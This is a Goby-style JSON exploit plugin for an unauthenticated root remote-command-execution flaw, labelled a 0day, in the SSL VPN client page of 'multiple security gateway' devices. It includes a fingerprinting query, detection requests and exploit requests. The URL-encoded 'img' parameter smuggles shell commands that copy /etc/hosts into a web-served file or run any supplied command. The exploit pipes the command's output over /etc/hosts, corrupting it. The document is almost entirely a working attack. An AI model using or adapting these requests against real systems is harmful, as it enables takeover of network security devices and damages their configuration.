{
  "Name": "Multiple Security Gateway Frontend RCE",
  "Description": "A 0day RCE in multiple security gateway",
  "Product": "Multiple Security Gateway",
  "Homepage": "https://gobies.org/",
  "DisclosureDate": "2021-05-30",
  "Author": "gobysec@gmail.com",
  "GobyQuery": "header=\"Set-Cookie: USGSESSID\"",
  "Level": "3",
  "Impact": "<p>The attackers are allowed to execute any code with root privilege without any login crenditials.</p>",
  "Recommandation": "<p>1. For security devices, it's not recommended to make them accessable from Internet.</p><p>2. You should contact the product suppliance for help.</p>",
  "References": [
    "https://gobies.org/"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "cat /etc/hosts ",
      "show": "Enter the command you want to execute"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/sslvpn/sslvpn_client.php",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/sslvpn/sslvpn_client.php?client=logoImg&img=%36%64%72%63%64%66%73%33%34%63%31%68%20%2f%74%6d%70%20%7c%7c%20%63%70%20%2f%65%74%63%2f%68%6f%73%74%73%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%31%2e%74%78%74%20%7c%7c%20%6c%73",
        "follow_redirect": true,
        "header": {
          "Connection": "close",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Sec-Fetch-Site": "same-origin",
          "Sec-Fetch-Mode": "navigate",
          "Sec-Fetch-User": "?1",
          "Sec-Fetch-Dest": "iframe",
          "Referer": "{{{hostinfo}}}",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "6drcdfs34c1h",
            "bz": "random string"
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/images/basic/login/main_logo21.txt",
        "follow_redirect": true,
        "header": {
          "Connection": "close",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Sec-Fetch-Site": "same-origin",
          "Sec-Fetch-Mode": "navigate",
          "Sec-Fetch-User": "?1",
          "Sec-Fetch-Dest": "iframe",
          "Referer": "{{{hostinfo}}}",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "localhost",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/sslvpn/sslvpn_client.php",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "set_variable": [
          "cmdUrlEncoded|cmd|url_encode|{{{cmd}}}"
        ],
        "uri": "/sslvpn/sslvpn_client.php?client=logoImg&img=%36%64%72%63%64%66%73%33%34%63%31%68%20%2f%74%6d%70%20%7c%7c%20%20{{{cmdUrlEncoded}}}%20%7c%20%74%65%65%20%2f%65%74%63%2f%68%6f%73%74%73%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%31%2e%74%78%74%20%7c%7c%20%6c%73",
        "follow_redirect": true,
        "header": {
          "Connection": "close",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Sec-Fetch-Site": "same-origin",
          "Sec-Fetch-Mode": "navigate",
          "Sec-Fetch-User": "?1",
          "Sec-Fetch-Dest": "iframe",
          "Referer": "{{{hostinfo}}}",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "6drcdfs34c1h",
            "bz": "random string"
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/images/basic/login/main_logo21.txt",
        "follow_redirect": true,
        "header": {
          "Connection": "close",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Sec-Fetch-Site": "same-origin",
          "Sec-Fetch-Mode": "navigate",
          "Sec-Fetch-User": "?1",
          "Sec-Fetch-Dest": "iframe",
          "Referer": "{{{hostinfo}}}",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "RCE",
    "0day"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}